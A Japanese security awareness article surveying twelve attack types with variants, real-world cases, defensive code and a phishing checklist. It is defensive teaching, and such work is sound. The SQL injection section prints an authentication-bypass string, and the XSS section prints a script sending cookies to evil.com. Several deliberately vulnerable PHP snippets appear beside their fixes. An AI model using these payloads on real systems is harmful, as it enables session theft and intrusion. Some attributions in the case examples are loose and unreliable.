📖 はじめに
サイバー攻撃は日々進化を続け、その手法も多様化しています。2026年現在、個人・企業を問わず、誰もが攻撃のターゲットになり得る時代です。
本記事の特徴:
- ✅ 12種類の主要攻撃手法を網羅的に解説
- ✅ 各攻撃に対する5種類のバリアントを紹介
- ✅ 実際の事例で被害の実態を理解
- ✅ 具体的な対策をすぐに実装可能
- ✅ フィッシング危険サインの見分け方を伝授
- ✅ セキュリティ対策チェックリストで自己評価
対象読者:
- 🎯 セキュリティに関心のあるエンジニア
- 🎯 セキュリティ担当者・情報システム部門
- 🎯 経営層・マネージャー
- 🎯 サイバーセキュリティを学びたい全ての方
📊 攻撃手法一覧
以下の12種類の攻撃手法について、カテゴリ・危険度・概要をまとめます。
| No. | 攻撃手法 | カテゴリ | 危険度 | 概要 |
|---|---|---|---|---|
| 1 | フィッシング | ソーシャル | 高 | 偽サイト・メールによる情報詐取 |
| 2 | SQLインジェクション | Webアプリ | 高 | DBへの不正クエリ挿入 |
| 3 | XSS | Webアプリ | 高 | 悪意あるスクリプトを埋め込む |
| 4 | DDoS攻撃 | ネットワーク | 高 | 大量トラフィックでサービス停止 |
| 5 | 中間者攻撃（MITM） | ネットワーク | 高 | 通信を傍受・改ざん |
| 6 | ランサムウェア | マルウェア | 高 | ファイル暗号化し身代金要求 |
| 7 | サプライチェーン攻撃 | マルウェア | 高 | ソフトウェア配布経路を侵害 |
| 8 | クレデンシャルスタッフィング | アカウント | 高 | 流出パスワードで不正ログイン |
| 9 | ゼロデイ攻撃 | ネットワーク | 高 | パッチ未公開の脆弱性を悪用 |
| 10 | ソーシャルエンジニアリング | ソーシャル | 中 | 人の心理を操る詐欺的手法 |
| 11 | ブルートフォース攻撃 | アカウント | 中 | パスワードの総当たり試行 |
| 12 | DNSスプーフィング | ネットワーク | 中 | DNS応答を偽装し偽サイトへ誘導 |
🎯 各攻撃手法の詳細
1. フィッシング
カテゴリ: ソーシャル | 危険度: 高
🔍 仕組み
攻撃者が銀行・ECサイト・クラウドサービスなどを模倣した偽サイト・偽メールを送付し、IDやパスワード・カード番号を入力させる。送信者名や件名で緊急性を演出し、冷静な判断を奪う心理的手法を組み合わせる。
🎭 主な種類・バリアント（5種類）
| 種類 | 説明 | 危険度 |
|---|---|---|
| スピアフィッシング | 特定個人・組織を狙った標的型攻撃。事前調査で得た情報（役職、同僚名、業務内容）を盛り込み、信頼性を高める | 極高 |
| ホエーリング | CEO・CFO等の経営層を狙う。高額送金や機密情報開示を要求。BEC（ビジネスメール詐欺）の一種 | 極高 |
| スミッシング | SMS（テキストメッセージ）を使ったフィッシング。宅配不在通知、銀行セキュリティ警告などを装う | 高 |
| ビッシング | 音声通話（Voice）を使ったフィッシング。銀行・警察・サポートセンターを名乗り電話で情報を聞き出す | 中 |
| クローンフィッシング | 正規メールを複製し、リンクだけを悪意あるものに差し替える。過去にやり取りがあるため警戒心が低下 | 高 |
📰 実際の事例
宅配業者を偽装した「再配達SMS」（スミッシング）が日本国内で大規模に拡散（2020〜2023年）。ヤマト運輸・佐川急便を模倣した偽サイトに誘導され、Apple IDやクレジットカード情報が窃取された。被害報告数は年間数万件に上った。
🛡️ 具体的な対策
✅ 送信元ドメインを完全一致で確認
正規: @amazon.co.jp
偽装: @amazon-secure.co-jp.info ← 完全に別ドメイン！
✅ リンクはホバーまたは長押しで実際のURLを確認してからクリック
✅ 急かす・脅す文面には冷静に対応し、公式サイトへ直接アクセスして確認
✅ 主要サービス全てにMFA（多要素認証）を設定
- 認証アプリ（Google Authenticator、Microsoft Authenticator）推奨
- SMSは SIM Swap 攻撃のリスクあり
✅ パスワードマネージャーを使用
- URLが違えば自動入力されない ＝ フィッシング検知
✅ メールサーバーにSPF・DKIM・DMARCを設定し、なりすましメールを技術的に遮断
2. SQLインジェクション
カテゴリ: Webアプリ | 危険度: 高
🔍 仕組み
WebフォームやリクエストパラメータにSQLの制御文字を埋め込み、データベースを不正操作する。認証バイパス・全データ抽出・データ改ざん・最悪の場合はサーバー制御奪取まで可能。
🎭 主な種類・バリアント（5種類）
| 種類 | 説明 | 検出難易度 |
|---|---|---|
| エラーベースSQLi | 意図的にエラーを発生させ、エラーメッセージからDB構造を推測する。最も基本的な手法 | 低 |
| ブラインドSQLi（Boolean-based） | クエリ結果の真偽（True/False）で情報を1ビットずつ抽出。エラーメッセージが出ない場合に有効 | 中 |
| Time-based Blind SQLi |
SLEEP()やWAITFORでレスポンス時間を遅延させ、真偽を判定。完全にエラーが隠蔽されている場合に有効 |
高 |
| UNION-based SQLi |
UNION SELECTで複数のクエリ結果を結合し、任意のデータを抽出 |
低 |
| Out-of-band SQLi | DNS・HTTPリクエストを外部サーバーに送信させてデータを窃取。厳格なファイアウォール環境で有効 | 高 |
📰 実際の事例
ログインフォームに以下のペイロードを入力すると、WHERE句が常にTRUEとなり認証を無条件突破できる:
' OR '1'='1
2015年に日本年金機構では個人情報約125万件が流出した事案でも類似手法が確認された。
🛡️ 具体的な対策
✅ プリペアドステートメント（バインド変数）を必ず使用
// ❌ 脆弱なコード
$query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "'";
// ✅ 安全なコード（プリペアドステートメント）
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['username']]);
✅ ORM（Hibernate・Sequelize等）を採用し、生のSQL文字列結合を排除
✅ WAF（Web Application Firewall）で既知のSQLiパターンをブロック
✅ DBアカウントに最小権限を付与
- アプリ用DBユーザーはSELECT/INSERT/UPDATEのみ
- DROP・ALTERは禁止
✅ 定期的なSQLiスキャン（sqlmap等）で脆弱性を事前検出
3. XSS（クロスサイトスクリプティング）
カテゴリ: Webアプリ | 危険度: 高
🔍 仕組み
攻撃者がWebページに悪意あるJavaScriptを注入し、閲覧したユーザーのブラウザ上でスクリプトが実行される。Cookieの窃取・セッションハイジャック・ページ改ざん・フィッシングへの転送などが可能。
🎭 主な種類・バリアント（5種類）
| 種類 | 説明 | 持続性 |
|---|---|---|
| 反射型XSS（Reflected XSS） | URLパラメータやフォーム入力がそのまま画面に表示される脆弱性。攻撃者が作成した悪意あるURLを被害者にクリックさせる | ❌ 非持続 |
| 格納型XSS（Stored XSS） | 掲示板・コメント欄等にスクリプトを保存し、閲覧者全員に実行させる。最も危険性が高い | ✅ 持続 |
| DOMベースXSS | JavaScriptのDOM操作（document.write(), innerHTML等）で発生。サーバー側で検出困難 |
❌ 非持続 |
| Self-XSS | 被害者自身にスクリプトを実行させる。ブラウザのDevToolsコンソールに貼り付けさせるソーシャルエンジニアリング手法 | ❌ 非持続 |
| Mutation XSS（mXSS） | ブラウザのHTML Sanitizer（DOMPurify等）をバイパスするXSS。ブラウザのパース動作の違いを悪用 | 🔴 高度 |
📰 実際の事例
掲示板の投稿欄に以下のスクリプトを書き込むと、閲覧者のセッションCookieが攻撃者に送信される:
<script>
document.location='https://evil.com/?c='+document.cookie
</script>
2020年のTwitter大規模ハッキングにも類似技術が応用された。
🛡️ 具体的な対策
✅ 出力時に必ずHTMLエスケープ
// ❌ 脆弱なコード
echo "こんにちは、" . $_GET['name'] . "さん";
// ✅ 安全なコード
echo "こんにちは、" . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8') . "さん";
✅ Content Security Policy（CSP）ヘッダーを設定し、インラインスクリプトの実行を禁止
Content-Security-Policy: default-src 'self'; script-src 'self'
✅ CookieにHttpOnly属性を付与
- JavaScriptからのCookieアクセスを無効化
setcookie("session", $token, [
'httponly' => true,
'secure' => true,
'samesite' => 'Strict'
]);
✅ DOMベースXSSはinnerHTMLでなくtextContentまたはcreateTextNodeを使用
// ❌ 脆弱なコード
element.innerHTML = userInput;
// ✅ 安全なコード
element.textContent = userInput;
4. DDoS攻撃
カテゴリ: ネットワーク | 危険度: 高
🔍 仕組み
ボットネット（数万〜数百万台の感染端末群）から一斉に大量リクエストを送り、ターゲットのサーバーリソース（帯域・CPU・メモリ）を枯渇させてサービスを停止させる。業務停止・売上損失・信頼失墜が主な被害。
🎭 主な種類・バリアント（5種類）
| 種類 | 説明 | 対象レイヤー |
|---|---|---|
| Volumetric Attack（帯域枯渇型） | UDP/ICMP Floodで帯域を埋め尽くす。DNS・NTPリフレクション攻撃（増幅攻撃）が代表例 | L3/L4 |
| Protocol Attack（プロトコル攻撃） | SYN Flood、ACK Flood等でTCP/IP層の状態テーブルを枯渇させる | L3/L4 |
| Application Layer Attack（L7 DDoS） | HTTPリクエストで正規ユーザーに見せかけて攻撃。WAFでの検出が難しい | L7 |
| Slowloris | HTTP接続を長時間保持し続けてサーバーのコネクション数を枯渇させる | L7 |
| Amplification Attack（増幅攻撃） | DNS・NTP等のサービスに小さなリクエストを送り、大きなレスポンスを被害者に向けて送信させる | L3/L4 |
📰 実際の事例
2016年のMirai botnetは家庭用IoT機器（防犯カメラ等）約60万台を乗っ取り、DynのDNSサービスに1.2Tbpsの攻撃を行い、Twitter・Netflix・Spotifyが数時間停止した。
🛡️ 具体的な対策
✅ CDN（Cloudflare・AWS CloudFront等）を前段に配置
- トラフィックを分散吸収
✅ AWS Shield Advanced またはCloudflare Magic Transitでの緩和サービス契約
✅ レートリミット設定
# Nginxの例
limit_req_zone $binary_remote_addr zone=one:10m rate=1r/s;
limit_req zone=one burst=5;
✅ Auto Scalingで帯域・コンピューティングを動的拡張し攻撃に耐える体制を構築
✅ ISPとのブラックホールルーティング契約
- 攻撃トラフィックをネットワーク上流で廃棄
5. 中間者攻撃（MITM）
カテゴリ: ネットワーク | 危険度: 高
🔍 仕組み
攻撃者がクライアントとサーバーの通信経路に割り込み、両者に「正規の相手と通信している」と思わせながら通信を盗聴・改ざんする。公共Wi-Fiや偽のアクセスポイントが主な攻撃場所。
🎭 主な種類・バリアント（5種類）
| 種類 | 説明 | 攻撃場所 |
|---|---|---|
| Evil Twin AP（偽アクセスポイント） | 正規のWi-Fi SSIDと同じ名前の偽APを設置。接続してきたユーザーの通信を傍受 | カフェ・空港等 |
| ARP Spoofing | LAN内でARP応答を偽装し、自分がゲートウェイであるかのように見せかける | 社内LAN |
| SSL Strip | HTTPS接続をHTTPにダウングレードさせ、平文通信を傍受。HSTSで防御可能 | 公共Wi-Fi |
| DNS Spoofing | DNS応答を偽装し、正規ドメインを悪意あるIPに誘導。DNSSECで防御可能 | ISP・ルーター |
| BGP Hijacking | インターネットの経路情報（BGP）を乗っ取り、トラフィックを攻撃者のネットワークに誘導 | ISP・国家レベル |
📰 実際の事例
空港のフリーWi-Fiに「Airport_Free_WiFi」という偽APを設置。接続したユーザーのHTTP通信を全て傍受し、ネットバンキングのIDとパスワードを収集する。HTTP接続はMITMに対して無防備。
🛡️ 具体的な対策
✅ HTTPS（TLS）を全通信で強制
- HTTPサイトでは機密情報を一切入力しない
✅ HSTS（HTTP Strict Transport Security）をサーバーに設定
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
✅ 公共Wi-FiではVPNを必ず使用
- 通信全体を暗号化トンネルで保護
✅ 証明書エラーの警告は絶対に無視しない
✅ 重要アプリに証明書ピニングを実装
- 特定の証明書以外の接続を拒否
6. ランサムウェア
カテゴリ: マルウェア | 危険度: 高
🔍 仕組み
端末に侵入後、ファイルシステム全体を暗号化して業務を停止させ、解除と引き換えに暗号通貨での身代金を要求する。近年は「二重脅迫」（データを盗んで公開すると脅す）が主流。侵入経路はフィッシングメール・RDP脆弱性・VPN脆弱性が主。
🎭 主な種類・バリアント（5種類）
| 種類 | 説明 | 特徴 |
|---|---|---|
| Crypto-Ransomware（暗号化型） | ファイルを暗号化し、復号鍵と引き換えに身代金要求。最も一般的 | データ暗号化 |
| Locker Ransomware（ロッカー型） | OSの起動をブロックし、端末を使用不能にする。ファイルは暗号化しない | 端末ロック |
| 二重脅迫（Double Extortion） | 暗号化前にデータを窃取し「支払わなければ公開する」と脅迫。身代金を支払っても公開されるリスク | データ窃取+暗号化 |
| RaaS（Ransomware as a Service） | ランサムウェア開発者とアフィリエイト（攻撃実行者）が協業。収益を分配 | ビジネスモデル化 |
| Wiper（ワイパー） | データ復元を不可能にする破壊型マルウェア。身代金要求はカモフラージュで、実際は組織破壊が目的 | データ破壊 |
📰 実際の事例
2021年、米国Colonial Pipelineがランサムウェア攻撃を受け、米国東海岸の燃料供給が5日間停止。身代金約4.4億円を支払った。侵入経路はVPNの漏洩パスワード（MFAなし）だった。
🛡️ 具体的な対策
✅ 3-2-1バックアップ
- 3コピー・2種類のメディア・1つはオフライン
- ランサムウェアはバックアップも暗号化を試みる
✅ OSとソフトウェアを迅速にパッチ適用
- 特にVPN・RDP・Windowsの脆弱性を優先
✅ RDPはインターネットに直接公開しない
- VPN経由に限定し、MFA必須
✅ EDR（CrowdStrike・SentinelOne等）を導入
- 異常な暗号化挙動をリアルタイム検知・停止
✅ ネットワークセグメンテーション
- 感染端末からの横展開（ラテラルムーブメント）を阻止
7. サプライチェーン攻撃
カテゴリ: マルウェア | 危険度: 高
🔍 仕組み
ターゲット企業が使うソフトウェアやライブラリの開発元・配布経路を攻撃する。信頼されたアップデートに悪意あるコードが混入されるため、受信側は検知困難。
🎭 主な種類・バリアント（5種類）
| 種類 | 説明 | 攻撃対象 |
|---|---|---|
| ソフトウェアアップデート侵害 | 正規のアップデートサーバーを乗っ取り、悪意あるバージョンを配布（SolarWinds、Kaseya） | 開発元サーバー |
| オープンソースライブラリ汚染 | npmjs・PyPIに悪意あるパッケージをアップロード。タイポスクワッティング（似た名前）で誤インストールを狙う | パッケージレジストリ |
| ハードウェアサプライチェーン | 出荷前の機器にバックドアを仕込む。ルーター・サーバー・チップが対象 | 製造・物流過程 |
| 開発者アカウント乗っ取り | GitHubやnpm等の開発者アカウントを侵害し、正規プロジェクトに悪意あるコードをコミット | 開発者認証情報 |
| 依存関係の連鎖攻撃 | 広く使われるライブラリ（例：event-stream）を侵害し、それに依存する数千のプロジェクトに感染 | 依存関係ツリー |
📰 実際の事例
2020年のSolarWinds攻撃では、IT監視ツール「Orion」のアップデートにバックドアが仕込まれ、Microsoft・政府機関を含む18,000組織以上に配布された。発覚まで約9ヶ月間、検知されなかった。
🛡️ 具体的な対策
✅ SBOM（Software Bill of Materials）を管理
- 使用している全ライブラリのバージョンと出所を把握・監視
# SyftでSBOM生成
syft packages dir:. -o json > sbom.json
✅ SCAツール（Snyk・Dependabot等）で依存パッケージの脆弱性を継続的にスキャン
✅ コード署名の検証
- アップデートファイルのハッシュ・デジタル署名を確認
✅ ゼロトラストアーキテクチャ
- ソフトウェアも「信頼しない」前提で最小権限を付与
✅ ネットワーク監視
- インストール済みソフトが想定外の宛先と通信していないか監視
8. クレデンシャルスタッフィング
カテゴリ: アカウント | 危険度: 高
🔍 仕組み
他サービスから漏洩したIDとパスワードのリストを使い、同じ認証情報を使い回しているアカウントに自動的にログインを試みる。攻撃は完全自動化され、数千万件/時のログイン試行が可能。
🎭 主な種類・バリアント（5種類）
| 種類 | 説明 | 特徴 |
|---|---|---|
| リスト型攻撃（List-based Attack） | 他サービスで流出した「メールアドレス:パスワード」のセットを使用。成功率は1〜3% | 正規認証情報を使用 |
| パスワードスプレー | 「password123」等のよくあるパスワード1つで全アカウントに試行。アカウントロックを回避 | 横方向攻撃 |
| クレデンシャルスタッフィング＋2FA Bypass | 2FAの実装不備（セッション固定、リカバリーコード悪用）を突いてMFAをバイパス | 高度化攻撃 |
| SIM Swap＋クレデンシャルスタッフィング | 携帯電話番号を乗っ取り、SMS 2FAを無効化した上でアカウント侵害 | 連鎖攻撃 |
| Botネットによる大規模分散攻撃 | 数万のIPから同時に試行し、レート制限やIP blacklistを回避 | 分散・高速 |
📰 実際の事例
2019年、ゲーム会社アカウント約5億件が標的に。別サービスから流出したリストを使い、約1%（約500万件）のアカウントへの不正ログインに成功。ゲーム内通貨・個人情報が盗まれた。
🛡️ 具体的な対策
✅ パスワードの使い回し禁止
- パスワードマネージャーで全サービスに異なるパスワードを生成
✅ MFA（多要素認証）をすべての重要アカウントに設定
✅ ログイン試行回数の制限とアカウントロック
# Pythonの例
from flask_limiter import Limiter
limiter = Limiter(
app,
default_limits=["5 per minute"]
)
@app.route("/login")
@limiter.limit("5 per minute")
def login():
# ログイン処理
pass
✅ Have I Been Pwned APIを使い、流出パスワードの使用をシステム側で検出・拒否
✅ 異常なログイン（海外IP・深夜・新端末）を検知してアラートまたはブロック
9. ゼロデイ攻撃
カテゴリ: ネットワーク | 危険度: 高
🔍 仕組み
ベンダーがまだ把握していない、またはパッチが存在しない脆弱性を利用した攻撃。「ゼロデイ」とは「開発者が対応できる日数がゼロ」の意味。国家レベルの攻撃者（APT）や闇市場で高額取引される。
🎭 主な種類・バリアント（5種類）
| 種類 | 説明 | 利用者 |
|---|---|---|
| ゼロデイエクスプロイト | 未公開の脆弱性を突くコード。NSO GroupのPegasus等が有名。100万ドル以上で取引されることも | 国家・APT |
| N-dayエクスプロイト | パッチ公開済みだが未適用の企業を狙う。Log4Shell等の「重大脆弱性」は発覚後も数ヶ月〜数年有効 | 一般攻撃者 |
| ブラウザゼロデイ | Chrome・Firefox等のブラウザ脆弱性。水飲み場型攻撃（Watering Hole）で特定組織を標的に | 標的型攻撃 |
| 0DAYチェーン | 複数のゼロデイを組み合わせ、サンドボックス脱出→権限昇格→持続化を実現 | APT・高度攻撃 |
| IoTゼロデイ | IoT機器（ルーター・カメラ等）のゼロデイ。パッチが提供されないケースも多い | ボットネット |
📰 実際の事例
**2021年のLog4Shell（CVE-2021-44228）**はJavaの広く使われるログライブラリLog4jの脆弱性。公開から数時間で世界規模で攻撃が開始され、iCloud・Minecraft・多数の企業サーバーが影響を受けた。
CVSS Score: 10.0（Critical）
🛡️ 具体的な対策
✅ 攻撃表面の最小化
- 不要なサービス・ポートは停止し、インターネットへの露出を最小限に
✅ WAF・IPSを導入
- 既知パターン外の異常な通信もヒューリスティックでブロック
✅ ネットワークセグメンテーション
- ゼロデイで侵入されても横展開を阻止
✅ 脅威インテリジェンス（JPCERT/CC・IPA・NVD）を継続的に監視
- 公開直後の即時対応体制
✅ SBOM管理で依存関係を把握
- 次のゼロデイ発生時の影響範囲を即座に特定
10. ソーシャルエンジニアリング
カテゴリ: ソーシャル | 危険度: 中
🔍 仕組み
技術的な脆弱性ではなく人間の心理（親切心・権威への従順・焦り・恐怖）を悪用して機密情報を引き出す。電話・対面・SNS・メール等、あらゆる手段が使われる。オープンソース情報（OSINT）で事前調査し、ターゲットに合わせた話術を用意する高度な手口も増加。
🎭 主な種類・バリアント（5種類）
| 種類 | 説明 | 攻撃手法 |
|---|---|---|
| プリテキスティング | 虚偽のシナリオ（銀行員・警察・IT部門）を演じて信頼を得た上で情報を引き出す | 電話・対面 |
| ベイティング | USBメモリ・DVD等の物理メディアに「重要資料」等のラベルを貼り、駐車場等に放置。拾った人がPCに挿入するとマルウェア感染 | 物理メディア |
| テールゲーティング | セキュリティドアの後ろにピッタリついて「手が塞がっているので開けてもらえますか?」と侵入 | 物理侵入 |
| Quid Pro Quo（対価型） | 「無料アンケート」「技術サポート」等の見返りと引き換えに情報を取得 | 電話・メール |
| 権威への訴求 | CEO・警察・政府機関を名乗り、「緊急」「機密」を強調して冷静な判断を奪う | 全手段 |
📰 実際の事例
2020年のTwitter大規模ハッキングでは、攻撃者がIT部門を装って社員に電話し、VPN認証情報を取得した。その後Barack Obama・Elon Musk等の著名人アカウントが乗っ取られ、仮想通貨詐欺ツイートが投稿された。
🛡️ 具体的な対策
✅ 本人確認プロセスの徹底
- 電話での情報提供は「確認のため折り返す」
- 折り返しは社内システム登録番号へ
✅ 「口頭でのパスワード提供禁止」を社内規程に明記
- IT部門も例外なし
✅ 定期的なセキュリティ意識向上トレーニング
- ロールプレイ形式の訓練が最も効果的
✅ 不審な要求を気軽に報告できる文化づくり
- 「引っかかった」ことを責めない仕組みが重要
✅ SNSへの業務情報・社員情報の過度な公開を制限
- OSINTによる事前調査を難しくする
11. ブルートフォース攻撃
カテゴリ: アカウント | 危険度: 中
🔍 仕組み
パスワードのあらゆる組み合わせを自動的に試み正解を探す。8文字の英数字パスワードは現代のGPUで数分で解読可能。辞書攻撃（よく使われる単語リスト）やパスワードスプレー（少数のパスワードを多数アカウントに試す）も広義のブルートフォース。
🎭 主な種類・バリアント（5種類）
| 種類 | 説明 | 成功率 |
|---|---|---|
| 単純ブルートフォース | 「000000」から順に全パターンを試行。時間はかかるが確実 | 低（時間次第） |
| 辞書攻撃（Dictionary Attack） | よく使われる単語リスト（password、123456等）を優先的に試行 | 高 |
| ハイブリッド攻撃 | 辞書単語＋数字（password123）のパターンを試行。人間の傾向に対応 | 中〜高 |
| レインボーテーブル攻撃 | 事前計算済みハッシュ表を使い、ハッシュ値から平文を逆引き。saltで防御可能 | 中（salt無し） |
| GPU並列ブルートフォース | HashcatやJohn the Ripperを使い、GPUの並列計算で高速試行。8文字英数字なら数分 | 高（短いPW） |
📰 実際の事例
「Password123」「123456」「qwerty」などは攻撃リストの先頭にある。NordPassの調査では世界で最も使われるパスワード1位は「123456」で使用者数2億人超。これらは数秒で突破される。
🛡️ 具体的な対策
✅ 16文字以上のパスフレーズを使用
- 例：「青い空と白い雲2024」など覚えやすく長い文字列
✅ ログイン失敗回数の上限設定
- 5〜10回失敗でアカウントロックまたはCAPTCHA表示
✅ IPレートリミット
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
limiter = Limiter(
app,
key_func=get_remote_address,
default_limits=["200 per day", "50 per hour"]
)
✅ MFA設定
- 仮にパスワードが突破されても第2要素で防御
✅ パスワードのハッシュ化にbcrypt・Argon2等を使用
- 漏洩しても解読に時間がかかる
import bcrypt
# パスワードのハッシュ化（登録時）
hashed = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt(rounds=12))
# パスワードの検証（ログイン時）
if bcrypt.checkpw(password.encode('utf-8'), hashed):
# ログイン成功
12. DNSスプーフィング
カテゴリ: ネットワーク | 危険度: 中
🔍 仕組み
DNS（ドメイン名→IPアドレスの変換）の応答を偽の情報に書き換え、正規ドメインへのアクセスを攻撃者のサーバーに誘導する。DNS通信は従来暗号化されておらず、改ざんされやすい。DNSキャッシュポイズニングとも呼ばれる。
🎭 主な種類・バリアント（5種類）
| 種類 | 説明 | 攻撃場所 |
|---|---|---|
| DNSキャッシュポイズニング | DNSリゾルバー（ISP等）のキャッシュに偽の情報を注入。以降その情報が多数のユーザーに配信される | ISPリゾルバー |
| ローカルDNS改ざん | ユーザーのPC・ルーターのDNS設定を書き換え、すべての通信を攻撃者のDNSサーバーに向ける | ローカル端末 |
| DNSハイジャッキング | ドメイン登録情報を不正に変更し、権威DNSサーバー自体を乗っ取る | レジストラ |
| Evil Twin DNS | 公共Wi-FiでDHCPにより攻撃者のDNSサーバーを配布。接続者全員の名前解決を制御 | 公共Wi-Fi |
| Kaminsky攻撃 | 2008年に発見されたDNSプロトコルの根本的脆弱性。現在は対策済み | 全DNSサーバー |
📰 実際の事例
2010年のBaidu DNSハイジャック事件では、Baiduのドメインが攻撃者のサーバーに転送され、全世界のユーザーが数時間アクセスできなくなった。ユーザーには本物のURLと全く同じアドレスが表示されていた。
🛡️ 具体的な対策
✅ DNSSEC（DNS Security Extensions）をゾーンに実装
- DNS応答にデジタル署名を付与
✅ DoH（DNS over HTTPS）またはDoT（DNS over TLS）を使用
- DNS通信自体を暗号化
# Firefoxの設定例
about:config
network.trr.mode = 2（DoH有効）
network.trr.uri = https://cloudflare-dns.com/dns-query
✅ Cloudflare 1.1.1.1 または Google 8.8.8.8 等のセキュアなパブリックDNSリゾルバーを利用
✅ 自社DNSサーバーを最新版に保ち、キャッシュポイズニング対策パッチを適用
✅ 重要サービスはDNS変更の監視アラートを設定
- 予期しないIPアドレス変更を即時検知
🚨 実践：フィッシングの見分け方
フィッシングメールには共通のパターンがあります。以下の6つのサインを覚えておくことで、多くのフィッシングを見抜くことができます。
危険サインのチェックポイント
| No. | 危険度 | サイン | 説明 |
|---|---|---|---|
| 1 | 危険 | 偽ドメイン | 送信元の@以降が正規ドメインと異なる。「amazon.co.jp」と「amazon-secure.co-jp.info」は全く別物。ドット・ハイフン・数字の置換（o→0、rn→m）にも注意。 |
| 2 | 危険 | 恐怖を煽る件名 | 「緊急」「停止」「凍結」「法的措置」など、心理的プレッシャーをかける件名は典型的な誘導。本物の企業は件名で過度に脅さない。 |
| 3 | 要注意 | 名前なし宛先 | 「お客様各位」「ご利用の皆様」など個人名のない宛先は一括送信の証拠。本物のサービスはアカウント登録名で呼びかける。 |
| 4 | 要注意 | 曖昧な脅し | 「不審なアクティビティが検出されました」だけで具体的な日時・IPアドレスがない。本物なら詳細情報を明示する。 |
| 5 | 要注意 | 時間的プレッシャー | 「24時間以内」「本日中」など期限を設けて冷静な判断を奪う。急かすメールほど疑ってよい。 |
| 6 | 危険 | 偽URL | リンクテキストに表示されているURLと実際の遷移先が異なる場合がある。ホバー（PCは左下、スマホは長押し）で実際のURLを確認してからクリック。 |
実践的な確認手順
┌─────────────────────────────┐
│ 1. 送信元を確認 │
│ └→ @以降のドメインが正規か │
└─────────────────────────────┘
↓
┌─────────────────────────────┐
│ 2. 件名をチェック │
│ └→ 恐怖・焦りを煽る表現は？ │
└─────────────────────────────┘
↓
┌─────────────────────────────┐
│ 3. 宛先を確認 │
│ └→ 個人名で呼びかけている？ │
└─────────────────────────────┘
↓
┌─────────────────────────────┐
│ 4. リンクをホバー │
│ └→ 表示URLと実際のURLが一致？│
└─────────────────────────────┘
↓
┌─────────────────────────────┐
│ 5. 公式サイトで確認 │
│ └→ 疑わしい場合は直接アクセス│
└─────────────────────────────┘
↓
┌─────────────────────────────┐
│ 6. 相談する │
│ └→ 迷ったら情報システム部門へ│
└─────────────────────────────┘
✅ セキュリティ対策チェックリスト
以下の項目を確認し、組織・個人の対策状況を把握してください。
📧 メール受信時の確認（4項目）
- 送信元ドメインを完全一致で確認（@以降を目視。ドット・ハイフン・数字の置換に注意）
- リンクはクリック前にホバーまたは長押しでURLを確認する
- 急かす・脅す文面には冷静に対応し、公式サイトへ直接アクセスして確認
- 添付ファイルは送信者に電話や別チャンネルで確認してから開く
🔐 アカウント保護（4項目）
- 主要サービス全てにMFA（多要素認証）を設定済み（認証アプリ推奨）
- パスワードマネージャーを使用し、サービスごとに異なるパスワードを利用
- Have I Been Pwnedでメールアドレスの流出を確認済み
- OAuth連携済みアプリを定期的に棚卸し・不要なものは削除
🏢 組織・環境の対策（4項目）
- メールサーバーにSPF・DKIM・DMARCを設定済み
- フィッシング対策フィルター（メールセキュリティゲートウェイ）を導入済み
- 社員向けフィッシング訓練メール（模擬攻撃）を年1回以上実施
- 高額送金・権限変更の承認フローに電話確認を必須化（BEC対策）
🌐 ネットワーク・インフラ（4項目）
- 全サービスでHTTPS（TLS）を強制
- HSTSヘッダーを設定済み
- CDNまたはDDoS緩和サービスを利用
- レートリミット・IPブロックリスト機能を実装
💾 バックアップ・復旧（4項目）
- 3-2-1バックアップ（3コピー・2種類のメディア・1つはオフライン）を実施
- バックアップからの復旧テストを定期的に実施
- インシデント対応計画書を作成・更新済み
- 緊急連絡先リスト（IPA・JPCERT/CC・警察）を整備
📊 評価基準
| スコア | 評価 | 推奨アクション |
|---|---|---|
| 90%以上 | 🌟 優秀 | 現状維持・継続的な改善 |
| 70-89% | ✅ 良好 | 未達成項目の優先的実施 |
| 50-69% | ⚠️ 要改善 | 3ヶ月以内に70%到達を目標 |
| 50%未満 | 🚨 緊急 | セキュリティ専門家への相談を推奨 |
📚 用語解説
MFA（多要素認証 / Multi-Factor Authentication）
パスワード以外の追加認証要素（認証アプリ・SMS・生体認証等）を要求する認証方式。パスワードが漏洩しても第2要素がなければログインを阻止できる。
推奨実装:
- ✅ 認証アプリ（Google Authenticator、Microsoft Authenticator）
- ✅ YubiKey等のハードウェアキー
- ⚠️ SMS（SIM Swap攻撃のリスクあり）
WAF（Web Application Firewall）
WebアプリケーションへのHTTPトラフィックを監視・フィルタリングするセキュリティ製品。SQLiやXSSなどの既知の攻撃パターンをブロックする。
主要製品:
- AWS WAF
- Cloudflare WAF
- Imperva
SBOM（Software Bill of Materials）
ソフトウェアを構成するコンポーネント（ライブラリ・モジュール等）の一覧表。サプライチェーン攻撃やゼロデイ対応時に影響範囲の特定を迅速化する。
ツール例:
- Syft
- Trivy
- CycloneDX
EDR（Endpoint Detection and Response）
エンドポイント（PC・サーバー等）の挙動を継続的に監視し、脅威を検知・対応するセキュリティ製品。ランサムウェアの暗号化挙動を早期検知する。
主要製品:
- CrowdStrike Falcon
- SentinelOne
- Microsoft Defender for Endpoint
SPF / DKIM / DMARC
メール認証のための3つのDNS設定。
- SPF（Sender Policy Framework）: 送信許可サーバーを定義
- DKIM（DomainKeys Identified Mail）: メールへの電子署名
- DMARC（Domain-based Message Authentication, Reporting and Conformance）: 認証失敗時のポリシーを指定
なりすましメールを技術的に防止する。
BEC（Business Email Compromise / ビジネスメール詐欺）
経営幹部や取引先になりすました偽メールで、担当者に不正な振込・情報開示を行わせる攻撃。
被害事例:
- トヨタ子会社で約37億円の被害
- FBI IC3統計：年間被害額26億ドル超（2023年）
ゼロトラスト（Zero Trust）
「すべてのネットワーク・デバイス・ユーザーを信頼しない」を前提とするセキュリティモデル。常に認証・認可・検証を要求し、内部ネットワークへの暗黙の信頼を排除する。
主要原則:
- Never Trust, Always Verify
- 最小権限の原則
- マイクロセグメンテーション
OSINT（Open Source Intelligence / オープンソースインテリジェンス）
公開情報（SNS・ウェブサイト・企業サイト等）を収集・分析して対象者の情報を得る手法。攻撃者はフィッシングやソーシャルエンジニアリングの事前調査に活用する。
CVE / CVSS
- CVE（Common Vulnerabilities and Exposures）: 脆弱性の識別番号
- CVSS（Common Vulnerability Scoring System）: 脆弱性の深刻度スコア（0.0〜10.0）
